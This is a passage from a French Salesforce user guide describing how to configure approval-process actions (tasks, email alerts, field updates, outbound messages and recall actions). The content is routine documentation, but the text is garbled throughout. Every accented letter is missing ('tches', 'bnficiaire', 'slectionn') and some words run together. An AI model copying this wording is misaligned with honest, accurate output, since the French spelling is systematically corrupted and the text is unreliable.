Pour des tches :
1. Slectionnez un bnficiaire. Selon le type d'enregistrement choisi, le bnficiaire peut tre un utilisateur, un rle,
un responsable d'enregistrement, un crateur d'enregistrement, un rle dans l'quipe de vente ou dans l'quipe
de comptes.
Remarque:
-

Si le bnficiaire d'une tche est le responsable de l'enregistrement et que le responsable d'une piste
ou d'une requte est une file d'attente, la personne ayant dclench la rgle devient le bnficiaire de
la tche.
Si l'objet est traduit, Salesforce.com cre une tche dans la langue du bnficiaire. Si l'objet est traduit
et que vous avec activ Notifier le bnficiaire pour la tche, Salesforce.com envoie l'e-mail dans la
langue du bnficiaire. Cependant, si seul le champ des commentaires est traduit, Salesforce.com cre
une tche et envoie l'e-mail dans la langue de l'utilisateur ayant dclench la tche.
Si un objet personnalis a une relation principal-dtails avec un objet standard, le responsable de
l'enregistrement de l'objet standard principal devient automatiquement responsable de l'enregistrement
de l'objet personnalis. Par exemple, si un objet personnalis nomm Dpenses a une relation
principal-dtails avec un objet Comptes, le responsable de chaque enregistrement de dpense est
galement responsable du compte de la dpense.
De mme, si le bnficiaire d'une tche de workflow est un rle possdant plusieurs utilisateurs, la
personne ayant dclench la rgle devient le bnficiaire de la tche, quel que soit son rle. Il est
recommand de ne pas attribuer de tches aux rles possdant plusieurs utilisateurs. L'attribution de
tches aux rles possdant un utilisateur permet de modifier facilement l'utilisateur de ce rle sans
modifier la rgle de workflow.

2. Entrez l'objet de la tche.

3. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage
dans les installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet
slectionn. Vous pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme
nom, condition qu'elles soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre
pour des opportunits. Le champ Nom unique ne peut contenir que des traits de soulignement et des caractres
alphanumriques. Il doit tre unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure
despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement
conscutifs.
4. Choisissez une chance, un statut et une priorit. Les chances sont indiques dans le fuseau horaire du
bnficiaire.
5. Cochez la case Notifier le bnficiaire pour envoyer une notification par e-mail lorsque la tche est
attribue.
6. Cochez la case Composant protg pour marquer la tche comme tant protge. Pour plus d'informations,
reportez-vous Composants protgs la page 845.
7. Entrez des commentaires associer la tche.

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 808

8. Cliquez sur Enregistrer.

Voir aussi :
Terminologie propre aux processus d'approbation
Processus d'approbation - Mise en route
Gestion des tapes d'approbation
Gestion des processus d'approbation
Utilisation du Visualiseur de processus

Actions de rappel
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des actions de rappel :

Personnaliser l'application

Les actions de rappel sont les actions qui se produisent lorsqu'une demande d'approbation soumise est rappele. Par dfaut,
une action pour dverrouiller l'enregistrement est excute automatiquement lors du rappel. Les actions de rappel incluent les
alertes par e-mail, les mises jour de champ, les tches ou les messages sortants. Par exemple, une action de rappel peut modifier
le statut d'une demande de En cours Non soumis.
Si vous slectionnez l'option Autoriser les utilisateurs effectuant la soumission rappeler des demandes d'approbation pour
le processus d'approbation, les utilisateurs effectuant les soumissions et les administrateurs peuvent tous deux utiliser le bouton
Rappeler la demande d'approbation dans la liste associe Historique des approbations de la page de dtails des enregistrements
soumis. Sinon, seuls les administrateurs peuvent l'utiliser. Lorsqu'un utilisateur clique sur Rappeler la demande d'approbation,
la demande d'approbation en cours pour l'enregistrement est retire et des actions de rappel sont excutes.
Lorsqu'un enregistrement est rappel aprs une soumission, Salesforce.com excute toutes les actions de rappel, y compris le
dverrouillage de l'enregistrement. Vous pouvez slectionner jusqu' 40 actions supplmentaires appliquer lors du rappel de
l'enregistrement, soit 10 actions de chacun des types suivants :
Type

Description

Tche

Attribue une tche l'utilisateur que vous spcifiez. Vous pouvez spcifier l'objet, le statut,
la priorit et l'chance de la tche.

Alerte par e-mail

Utilise le modle spcifi pour envoyer un e-mail un destinataire dsign.

Mise jour du champ

Modifie la valeur d'un champ slectionn. Vous pouvez spcifier une valeur ou crer une
formule pour la nouvelle valeur.

Message sortant

Envoie un message une adresse que vous dsignez. Vous pouvez galement spcifier un nom
d'utilisateur et les donnes inclure dans le message.

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 809

Pour grer les actions de rappel d'un processus d'approbation, cliquez sur Configuration Crer Workflow & approbations
Processus d'approbation, puis slectionnez le processus d'approbation.
La liste associe des actions de rappel affiche toutes les actions qui ont lieu lors du rappel d'un enregistrement.

Cliquez sur Modifier pour modifier une action. Les changements apports une action affectent tous les processus
d'approbation ou rgles de workflow qui l'utilisent.
Cliquez sur Supprimer pour retirer l'action du processus d'approbation. Cette opration ne supprime pas l'action.
Cliquez sur Ajouter une action existante pour ajouter une action la liste des actions. Reportez-vous Choix des actions
d'approbation la page 814.
Cliquez sur Ajouter une nouvelle action et slectionnez le type adquat afin de crer une action et de l'associer au processus
d'approbation. Configurez ensuite l'action :
Pour les alertes par e-mail :
1. Saisissez la description de cette alerte par e-mail.
2. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage
dans les installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet
slectionn. Vous pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme
nom, condition qu'elles soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre
pour des opportunits. Le champ Nom unique ne peut contenir que des traits de soulignement et des caractres
alphanumriques. Il doit tre unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure
despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement
conscutifs.
3. S'il est disponible, choisissez l'objet pour cette alerte par e-mail.
Salesforce.com utilise cet objet lors de la gnration de valeurs de champ de fusion pour les modles d'e-mail avec
des rgles de workflow et des processus d'approbation. Vous pouvez galement dfinir les destinataires de cette
alerte par e-mail en utilisant les champs de recherche de contact et d'utilisateur qui sont appropris pour cet objet.
Par exemple, si vous slectionnez Contrat, vous pouvez dfinir le signataire du contrat comme destinataire. Cet
objet est en lecture seule si la nouvelle alerte par e-mail est associe un processus d'approbation ou une rgle
de workflow pour un objet particulier.
Conseil: Pour crer des rgles de workflow de sorte que les commentaires ajouts aux requtes envoient
des alertes par e-mail lors du dclenchement d'une rgle, slectionnez Commentaire de requte dans la
liste droulante Objet en crant une rgle de workflow.
4. Slectionnez un modle de message.
Remarque: Si le modle d'email que vous choisissez contient des champs de fusion d'approbations
nomms {!ApprovalRequest.field_name}, ces champs renvoient des valeurs uniquement lorsque
ce modle d'e-mail est utilis en tant que modle d'attribution des approbations. Si vous utilisez le modle
pour toute autre action d'alerte d'email, que ce soit dans les rgles de workflow ou dans les processus
d'approbation, les champs de fusion renverront une valeur nulle.
5. Activez la case Composant protg pour marquer l'alerte comme protge.
6. Slectionnez le type de destinataire qui vous souhaitez envoyer cette alerte par e-mail. Options possibles :
-

Responsable du compteL'utilisateur rpertori comme propritaire du compte lui-mme ou du compte

associ l'enregistrement. Cette option fonctionne seulement pour les alertes d'e-mail sur les comptes, les
opportunits, les requtes, les contacts, les contrats et tout objet personnalis qui est un enfant de l'objet
compte. De plus, un responsable de compte doit tre spcifi pour le compte associ. Si vous slectionnez un

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 810

autre type d'objet ou si le compte associ ne possde pas de responsable, Salesforce.com envoie l'alerte e-mail
au responsable de l'enregistrement.
quipe de comptesTous les utilisateurs attribus un rle particulier d'quipe de comptes.
quipe de requtesTous les utilisateurs attribus a un rle particulier d'quipe de requtes.
CrateurL'utilisateur ayant cr l'enregistrement.
Utilisateur du portail clientTous les utilisateurs associs un portail client.
Champ d'adresse e-mailUn champ d'une adresse e-mail dans l'objet slectionn, par exemple, le
champ Adresse e-mail dans les enregistrements de piste ou les champs d'e-mail personnaliss.
Remarque: Lors de la cration d'alertes par e-mail pour des membres de campagne, le champ E-mail
fait rfrence au champ e-mail de la piste ou du contact sur lequel le membre de campagne est bas.

ResponsableLe responsable de l'enregistrement.

Utilisateur partenaire : tous les utilisateurs associs un portail partenaire.
Rle de portailTous les utilisateurs attribus a un rle particulier de portail.
Subordonns et Rles du PortailTous les utilisateurs attribus un rle particulier de portail,

plus tous les utilisateurs dont les rles sont infrieurs celui-l.
Groupes publicsLes utilisateurs d'un groupe public particulier.
Contact associUn contact associ dans l'enregistrement. Par exemple, vous pouvez slectionner le
champ Signataire (client) pour les contrats contenant le nom du contact ayant sign.
Utilisateur associUn utilisateur associ dans l'enregistrement. Par exemple, les enregistrements de
contrat sont dots d'un champ Activ par qui contient le nom de l'utilisateur ayant activ le contrat.
RleTous les utilisateurs auxquels un rle particulier a t attribu.
Rle et subordonns internes : tous les utilisateurs ayant un rle particulier, plus tous les utilisateurs
dont les rles sont infrieurs, l'exclusion des utilisateurs du portail partenaire et du portail client.
Rle et subordonnsTous les utilisateurs ayant un rle particulier, plus tous les utilisateurs dont les
rles sont infrieurs celui-l.
UtilisateursUn utilisateur particulier.
quipe de venteUn membre de l'quipe des ventes.
Remarque: L'option Equipe vente est toujours disponible ; toutefois, elle ne fonctionne que pour
les alertes d'e-mail configures pour les opportunits. Elle ne fonctionne pas avec les alertes par e-mail
configures pour des objets enfant d'opportunits.

Les destinataires correspondant vos rsultats de recherche apparaissent dans la liste Destinataires disponibles.
7. Slectionnez les destinataires qui vous souhaitez envoyer cette alerte par e-mail dans la liste Destinataires
disponibles et cliquez sur Ajouter pour les ajouter la liste Destinataires slectionns.
Remarque: Si vous modifiez les objets aprs avoir slectionn des destinataires, Salesforce.com efface la
liste Destinataires slectionns.
8. Vous pouvez galement entrer jusqu' cinq adresses e-mail supplmentaires.
9. Vous pouvez galement remplacer Adresse e-mail de l'expditeur par une adresse l'chelle de
l'organisation dj configure et vrifie. Vous pouvez ainsi utiliser l'adresse e-mail globale standard de votre
organisation (telle que support@societe.com) la place du champ par dfaut De, qui correspond l'adresse
e-mail de la personne qui met jour l'enregistrement.

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 811

Seules les adresses e-mail l'chelle de l'organisation vrifies s'affichent dans la liste de slection Adresse
e-mail de l'expditeur.
Remarque: Si vous slectionnez Slectionner comme Adresse e-mail de l'expditeur par dfaut pour
les alertes par e-mail de cet objet, l'Adresse e-mail de l'expditeur est remplace dans toutes
les alertes par e-mail associes cet objet. Lors de l'enregistrement, une bote de dialogue vous invite
confirmer votre slection. Vous pouvez toutefois personnaliser les alertes par e-mail individuelles afin
d'utiliser une autre Adresse e-mail de l'expditeur.
10. Cliquez sur Enregistrer.
Pour les mises jour de champ :
1. Saisissez un nom pour la mise jour de ce champ.
2. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage
dans les installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet
slectionn. Vous pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme
nom, condition qu'elles soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre
pour des opportunits. Le champ Nom unique ne peut contenir que des traits de soulignement et des caractres
alphanumriques. Il doit tre unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure
despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement
conscutifs.
3. Saisissez une description pour la mise jour de ce champ.
4. Dfinissez la mise jour du champ, en incluant l'objet associ la rgle de workflow ou au processus d'approbation,
le champ mettre jour, et la valeur appliquer. Notez que le champ mettre jour peut se trouver dans un
objet associ dans une relation principal-dtails. Les champs sont affichs uniquement pour l'objet cible slectionn.
Conseil: Pour crer des rgles de workflow pour des commentaires de requte ou des messages e-mails
qui envoient automatiquement une mise jour des champs dans les requtes associes, slectionnez
Commentaires de requte ou Email dans la liste droulante Objet lors de la cration d'une nouvelle rgle
de workflow et slectionnez Requte dans le champ Champ mettre jour. E-mail vers requte
ou E-mail vers requte la demande doit tre activ pour que votre organisation puisse utiliser des E-mails
dans une rgle de workflow.
Lorsque les requtes sont mises jour par une rgle de workflow dclenche par un e-mail, cette requte
mise jour peut dclencher :
-

Rgles de workflow
Rgles de validation
Mises jour des champs rcapitulatifs de cumul
Rgles de hirarchisation
Dclencheur Apex

La requte mise jour ne peut pas dclencher :

-

Rgles d'attribution
Rgles de rponse automatique

5. Cochez la case Composant protg pour marquer la mise jour du champ comme tant protge. Pour plus
d'informations, reportez-vous Composants protgs la page 845.

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Guide de l'utilisateur | Gestion des processus d'approbation | 812

6. Spcifiez la nouvelle valeur de champ. Les options disponibles dpendent du type de champ que vous mettez
jour. Vous pouvez:
-

Slectionnez Une valeur spcifique et entrez la valeur dans l'espace prvu cet effet.
Slectionnez Une valeur vide (nulle) pour que Salesforce.com supprime toute valeur existante et laisse
le champ vide. Cette option n'est pas disponible pour les champs, cases cocher et certains autres types de
champs requis.
Pour les responsables d'enregistrement, slectionnez l'utilisateur auquel l'enregistrement doit tre attribu.
Pour les enregistrements de requte, de piste et d'objet personnalis, vous pouvez galement choisir une file
d'attente pour ce champ. Slectionnez ventuellement Notifier le bnficiaire pour envoyer un
e-mail au nouveau responsable de l'enregistrement.
Pour les cases cocher, choisissez Vrai pour slectionner la case et Faux pour la dslectionner.
Pour les listes de slection, slectionnez une valeur spcifique dans la liste droulante, ou celle situe au-dessus
ou au-dessous de la valeur actuelle selon le tri spcifi dans la dfinition de la liste de slection. Si vous triez
les valeurs par ordre alphabtique, les valeurs situes au-dessus ou au-dessous peuvent diffrer en fonction de
la langue de l'utilisateur.
Slectionnez Utiliser une formule pour dfinir la nouvelle valeur pour calculer la valeur
en fonction d'une expression, de champs de fusion ou d'autres valeurs.
a. Si vous laborez une formule dans l'onglet Formule avance pour des approbations ou des rgles, telles
qu'un workflow, une validation, une attribution, une rponse automatique ou une hirarchisation, cliquez
sur Insrer un champ, choisissez un champ, puis cliquez sur Insrer.
Pour crer une formule de base qui transmet des donnes Salesforce.com spcifiques, slectionnez l'onglet
Formule simple, choisissez le type de champ dans la liste droulante Slectionner un type de
champ, puis l'un des champs de la liste droulante Insrer un champ.
Conseil: Les formules inter-objets gnres s'tendent des objets associs et rfrencent des champs
de fusion dans ces objets.
b. Pour insrer des champs de fusion de requte dont l'e-mail met jour des champs de requtes associs,
cliquez sur Insrer un champ dans la section Critres de la rgle et slectionnez E-mail > Requte parent.
c. Pour insrer un oprateur, slectionnez l'icne d'oprateur approprie dans la liste droulante Insrer
un oprateur. Utilisez les exemples de la section Oprateurs et fonctions la page 475.
d. Vous pouvez galement insrer une fonction partir de la liste Fonctions. Ces fonctions sont des formules
dj intgres que vous pouvez ensuite personnaliser avec vos paramtres d'entre. Pour une description
de chaque oprateur/fonction, reportez-vous la section Oprateurs et fonctions la page 475.

7. Cliquez sur Enregistrer.

Pour les messages sortants :
1. Saisissez un nom pour ce message sortant.
2. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage
dans les installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet
slectionn. Vous pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme
nom, condition qu'elles soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre
pour des opportunits. Le champ Nom unique ne peut contenir que des traits de soulignement et des caractres
alphanumriques. Il doit tre unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure

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Guide de l'utilisateur | Gestion des processus d'approbation | 813

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despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement
conscutifs.
Saisissez une description pour ce message sortant.
Entrez une URL de point limite pour le destinataire du message. Salesforce.com envoie un message SOAP ce
point limite.
Slectionnez l'utilisateur Salesforce.com utiliser lors de l'envoi du message. L'utilisateur slectionn contrle la
visibilit des donnes pour le message envoy au point limite.
Cochez la case Composant protg pour marquer le message sortant comme tant protg. Pour plus
d'informations, reportez-vous Composants protgs la page 845.
Slectionnez Envoyer l'ID de session afin d'inclure l'ID de session Salesforce.com au message sortant.
Incluez l'ID de session dans votre message si vous avez l'intention d'effectuer des appels API et que vous ne
souhaitez inclure ni nom d'utilisateur ni mot de passe. L'envoi d'un nom d'utilisateur et d'un mot de passe est
moins sr que l'envoi d'un ID de session.
Slectionnez Ajouter les checs la liste associe des messages sortants chous si
vous souhaitez que ce message soit dplac dans la liste associe des messages sortants chous l'issue de toutes
les tentatives. Si vous ne voyez pas cette option, cela signifie que les notifications de messages sortants chous
n'ont pas t actives pour votre entreprise. Contactez votre reprsentant salesforce.com.
Slectionnez les champs inclure dans le message sortant et cliquez sur Ajouter.

Pour des tches :

1. Slectionnez un bnficiaire. Selon le type d'enregistrement choisi, le bnficiaire peut tre un utilisateur, un rle,
un responsable d'enregistrement, un crateur d'enregistrement, un rle dans l'quipe de vente ou dans l'quipe
de comptes.
Remarque:
-

Si le bnficiaire d'une tche est le responsable de l'enregistrement et que le responsable d'une piste
ou d'une requte est une file d'attente, la personne ayant dclench la rgle devient le bnficiaire de
la tche.
Si l'objet est traduit, Salesforce.com cre une tche dans la langue du bnficiaire. Si l'objet est traduit
et que vous avec activ Notifier le bnficiaire pour la tche, Salesforce.com envoie l'e-mail dans la
langue du bnficiaire. Cependant, si seul le champ des commentaires est traduit, Salesforce.com cre
une tche et envoie l'e-mail dans la langue de l'utilisateur ayant dclench la tche.
Si un objet personnalis a une relation principal-dtails avec un objet standard, le responsable de
l'enregistrement de l'objet standard principal devient automatiquement responsable de l'enregistrement
de l'objet personnalis. Par exemple, si un objet personnalis nomm Dpenses a une relation
principal-dtails avec un objet Comptes, le responsable de chaque enregistrement de dpense est
galement responsable du compte de la dpense.
De mme, si le bnficiaire d'une tche de workflow est un rle possdant plusieurs utilisateurs, la
personne ayant dclench la rgle devient le bnficiaire de la tche, quel que soit son rle. Il est
recommand de ne pas attribuer de tches aux rles possdant plusieurs utilisateurs. L'attribution de
tches aux rles possdant un utilisateur permet de modifier facilement l'utilisateur de ce rle sans
modifier la rgle de workflow.

2. Entrez l'objet de la tche.

3. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage
dans les installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet

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Guide de l'utilisateur | Gestion des processus d'approbation | 814

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slectionn. Vous pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme
nom, condition qu'elles soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre
pour des opportunits. Le champ Nom unique ne peut contenir que des traits de soulignement et des caractres
alphanumriques. Il doit tre unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure
despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement
conscutifs.
Choisissez une chance, un statut et une priorit. Les chances sont indiques dans le fuseau horaire du
bnficiaire.
Cochez la case Notifier le bnficiaire pour envoyer une notification par e-mail lorsque la tche est
attribue.
Cochez la case Composant protg pour marquer la tche comme tant protge. Pour plus d'informations,
reportez-vous Composants protgs la page 845.
Entrez des commentaires associer la tche.
Cliquez sur Enregistrer.

Voir aussi :
Terminologie propre aux processus d'approbation
Processus d'approbation - Mise en route
Gestion des tapes d'approbation
Gestion des processus d'approbation
Utilisation du Visualiseur de processus

Choix des actions d'approbation

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour choisir des actions d'approbation :

Personnaliser l'application

Il existe quatre types d'action d'approbation :

Type

Description

Tche

Attribue une tche l'utilisateur que vous spcifiez. Vous pouvez spcifier l'objet, le statut,
la priorit et l'chance de la tche.

Alerte par e-mail

Utilise le modle spcifi pour envoyer un e-mail un destinataire dsign.

Mise jour du champ

Modifie la valeur d'un champ slectionn. Vous pouvez spcifier une valeur ou crer une
formule pour la nouvelle valeur.

Message sortant

Envoie un message une adresse que vous dsignez. Vous pouvez galement spcifier un nom
d'utilisateur et les donnes inclure dans le message.

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 815

Vous pouvez associer des actions d'approbation des tapes d'approbation, une soumission initiale, une approbation finale,
un refus final et un rappel. Vous pouvez galement rutiliser ces actions pour les rgles de workflow. Avant de commencer,
cliquez sur Configuration Crer Workflow & approbations Processus d'approbation et slectionnez le processus
d'approbation que vous souhaitez associer aux actions.
Pour slectionner une action d'approbation :
1. Cliquez sur Ajouter une action existante partir de la liste associe approprie sur la page de dtails de n'importe quel
processus d'approbation. Si le bouton Ajouter une action existante n'apparat pas lors d'une tape d'approbation, cliquez
sur Afficher les actions.
Vous pouvez galement cliquer sur Ajouter une nouvelle action pour crer une nouvelle action et l'appliquer au processus
d'approbation slectionn. Pour les instructions concernant la cration d'actions, reportez-vous Cration d'actions
d'approbation la page 815.
2. Choisissez le type d'action.
3. Slectionnez l'action dans la liste des actions disponibles et cliquez sur Ajouter pour ajouter l'action la liste d'actions
slectionnes.
4. Cliquez sur Enregistrer.
Remarque: Dans la page de dtails d'un processus d'approbation, cliquez sur Afficher le diagramme (bta) pour
ouvrir le Visualiseur du processus. Il affiche une reprsentation graphique des tapes et actions comprises dans le
processus d'approbation.

Voir aussi :
Gestion du workflow et des approbations
Gestion des processus d'approbation
Prsentation des processus d'approbation
Terminologie propre aux processus d'approbation
Utilisation du Visualiseur de processus

Cration d'actions d'approbation

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer des actions d'approbation :

Personnaliser l'application

Crez des actions d'approbation a associ des tapes d'approbation, une soumission initiale, une approbation finale, un refus
final ou un rappel. Par exemple, vous disposez d'un processus d'approbation des dpenses dans Salesforce.com et souhaitez
qu'il envoie un message sortant votre service comptable Oracle pour imprimer des chques de dpenses lorsque des demandes
d'approbation de dpenses sont approuves.
Pour crer une action d'approbation :
1. Cliquez sur Configuration Crer Workflow & approbations Processus d'approbation.

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 816

2. Slectionnez le processus d'approbation associer l'action.

3. Cliquez sur Ajouter une nouvelle action dans la liste associe approprie. Lors de la cration d'actions pour une tape
d'approbation, cliquez sur Show Actions si les actions sont masques.
4. Choisissez le type d'action. La liste des actions disponibles diffre en fonction de vos paramtres et selon que vous avez
atteint la limite d'un type d'action ou non :

Configurez l'alerte par e-mail.

Configurez la mise jour de champ.
Configurez le message sortant.
Configurez la tche.

Pour les alertes par e-mail :

a. Saisissez la description de cette alerte par e-mail.
b. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage
dans les installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet
slectionn. Vous pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme
nom, condition qu'elles soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre
pour des opportunits. Le champ Nom unique ne peut contenir que des traits de soulignement et des caractres
alphanumriques. Il doit tre unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure
despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement
conscutifs.
c. S'il est disponible, choisissez l'objet pour cette alerte par e-mail.
Salesforce.com utilise cet objet lors de la gnration de valeurs de champ de fusion pour les modles d'e-mail avec
des rgles de workflow et des processus d'approbation. Vous pouvez galement dfinir les destinataires de cette
alerte par e-mail en utilisant les champs de recherche de contact et d'utilisateur qui sont appropris pour cet objet.
Par exemple, si vous slectionnez Contrat, vous pouvez dfinir le signataire du contrat comme destinataire. Cet
objet est en lecture seule si la nouvelle alerte par e-mail est associe un processus d'approbation ou une rgle
de workflow pour un objet particulier.
Conseil: Pour crer des rgles de workflow de sorte que les commentaires ajouts aux requtes envoient
des alertes par e-mail lors du dclenchement d'une rgle, slectionnez Commentaire de requte dans la
liste droulante Objet en crant une rgle de workflow.
d. Slectionnez un modle de message.
Remarque: Si le modle d'email que vous choisissez contient des champs de fusion d'approbations
nomms {!ApprovalRequest.field_name}, ces champs renvoient des valeurs uniquement lorsque
ce modle d'e-mail est utilis en tant que modle d'attribution des approbations. Si vous utilisez le modle
pour toute autre action d'alerte d'email, que ce soit dans les rgles de workflow ou dans les processus
d'approbation, les champs de fusion renverront une valeur nulle.
e. Activez la case Composant protg pour marquer l'alerte comme protge.
f. Slectionnez le type de destinataire qui vous souhaitez envoyer cette alerte par e-mail. Options possibles :

Responsable du compteL'utilisateur rpertori comme propritaire du compte lui-mme ou du compte

associ l'enregistrement. Cette option fonctionne seulement pour les alertes d'e-mail sur les comptes, les
opportunits, les requtes, les contacts, les contrats et tout objet personnalis qui est un enfant de l'objet
compte. De plus, un responsable de compte doit tre spcifi pour le compte associ. Si vous slectionnez un

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 817

autre type d'objet ou si le compte associ ne possde pas de responsable, Salesforce.com envoie l'alerte e-mail
au responsable de l'enregistrement.
quipe de comptesTous les utilisateurs attribus a un rle particulier d'quipe de comptes.
quipe de requtesTous les utilisateurs attribus a un rle particulier d'quipe de requtes.
CrateurL'utilisateur ayant cr l'enregistrement.
Utilisateur du portail clientTous les utilisateurs associs un portail client.
Champ d'adresse e-mailUn champ d'une adresse e-mail dans l'objet slectionn, par exemple, le
champ Adresse e-mail dans les enregistrements de piste ou les champs d'e-mail personnaliss.
Remarque: Lors de la cration d'alertes par e-mail pour des membres de campagne, le champ E-mail
fait rfrence au champ e-mail de la piste ou du contact sur lequel le membre de campagne est bas.

ResponsableLe responsable de l'enregistrement.

Utilisateur partenaire : tous les utilisateurs associs un portail partenaire.
Rle de portailTous les utilisateurs attribus a un rle particulier de portail.
Subordonns et Rles du PortailTous les utilisateurs attribus un rle particulier de portail plus

tous les utilisateurs dont les rles sont infrieurs celui-l.

Groupes publicsLes utilisateurs d'un groupe public particulier.
Contact associUn contact associ dans l'enregistrement. Par exemple, vous pouvez slectionner le
champ Signataire (client) pour les contrats contenant le nom du contact ayant sign.
Utilisateur associUn utilisateur associ dans l'enregistrement. Par exemple, les enregistrements de
contrat sont dots d'un champ Activ par qui contient le nom de l'utilisateur ayant activ le contrat.
RleTous les utilisateurs auxquels un rle particulier a t attribu.
Rle et subordonns internes : tous les utilisateurs ayant un rle particulier, plus tous les utilisateurs
dont les rles sont infrieurs, l'exclusion des utilisateurs du portail partenaire et du portail client.
Rle et subordonns Tous les utilisateurs ayant un rle particulier, plus tous les utilisateurs dont les
rles sont infrieurs celui-l.
UtilisateursUn utilisateur particulier.
quipe de venteUn membre de l'quipe des ventes.
Remarque: L'option Equipe vente est toujours disponible ; toutefois, elle ne fonctionne que pour
les alertes d'e-mail configures pour les opportunits. Elle ne fonctionne pas avec les alertes par e-mail
configures pour des objets enfant d'opportunits.

Les destinataires correspondant vos rsultats de recherche apparaissent dans la liste Destinataires disponibles.
g. Slectionnez les destinataires qui vous souhaitez envoyer cette alerte par e-mail dans la liste Destinataires
disponibles et cliquez sur Ajouter pour les ajouter la liste Destinataires slectionns.
Remarque: Si vous modifiez les objets aprs avoir slectionn des destinataires, Salesforce.com efface la
liste Destinataires slectionns.
h. Vous pouvez galement entrer jusqu' cinq adresses e-mail supplmentaires.
i. Vous pouvez galement remplacer Adresse e-mail de l'expditeur par une adresse l'chelle de
l'organisation dj configure et vrifie. Vous pouvez ainsi utiliser l'adresse e-mail globale standard de votre
organisation (telle que support@societe.com) la place du champ par dfaut De, qui correspond l'adresse
e-mail de la personne qui met jour l'enregistrement.

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 818

Seules les adresses e-mail l'chelle de l'organisation vrifies s'affichent dans la liste de slection Adresse
e-mail de l'expditeur.
Remarque: Si vous slectionnez Slectionner comme Adresse e-mail de l'expditeur par dfaut pour
les alertes par e-mail de cet objet, l'Adresse e-mail de l'expditeur est remplace dans toutes
les alertes par e-mail associes cet objet. Lors de l'enregistrement, une bote de dialogue vous invite
confirmer votre slection. Vous pouvez toutefois personnaliser les alertes par e-mail individuelles afin
d'utiliser une autre Adresse e-mail de l'expditeur.
j. Cliquez sur Enregistrer.
Pour les mises jour de champ :
a. Saisissez un nom pour la mise jour de ce champ.
b. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage
dans les installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet
slectionn. Vous pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme
nom, condition qu'elles soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre
pour des opportunits. Le champ Nom unique ne peut contenir que des traits de soulignement et des caractres
alphanumriques. Il doit tre unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure
despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement
conscutifs.
c. Saisissez une description pour la mise jour de ce champ.
d. Dfinissez la mise jour du champ, en incluant l'objet associ la rgle de workflow ou au processus d'approbation,
le champ mettre jour, et la valeur appliquer. Notez que le champ mettre jour peut se trouver dans un
objet associ dans une relation principal-dtails. Les champs sont affichs uniquement pour l'objet cible slectionn.
Conseil: Pour crer des rgles de workflow pour des commentaires de requte ou des messages e-mails
qui envoient automatiquement une mise jour des champs dans les requtes associes, slectionnez
Commentaires de requte ou Email dans la liste droulante Objet lors de la cration d'une nouvelle rgle
de workflow et slectionnez Requte dans le champ Champ mettre jour. E-mail vers requte
ou E-mail vers requte la demande doit tre activ pour que votre organisation puisse utiliser des E-mails
dans une rgle de workflow.
Lorsque les requtes sont mises jour par une rgle de workflow dclenche par un e-mail, cette requte
mise jour peut dclencher :

Rgles de workflow
Rgles de validation
Mises jour des champs rcapitulatifs de cumul
Rgles de hirarchisation
Dclencheur Apex

La requte mise jour ne peut pas dclencher :

Rgles d'attribution
Rgles de rponse automatique

e. Cochez la case Composant protg pour marquer la mise jour du champ comme tant protge. Pour plus
d'informations, reportez-vous Composants protgs la page 845.

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 819

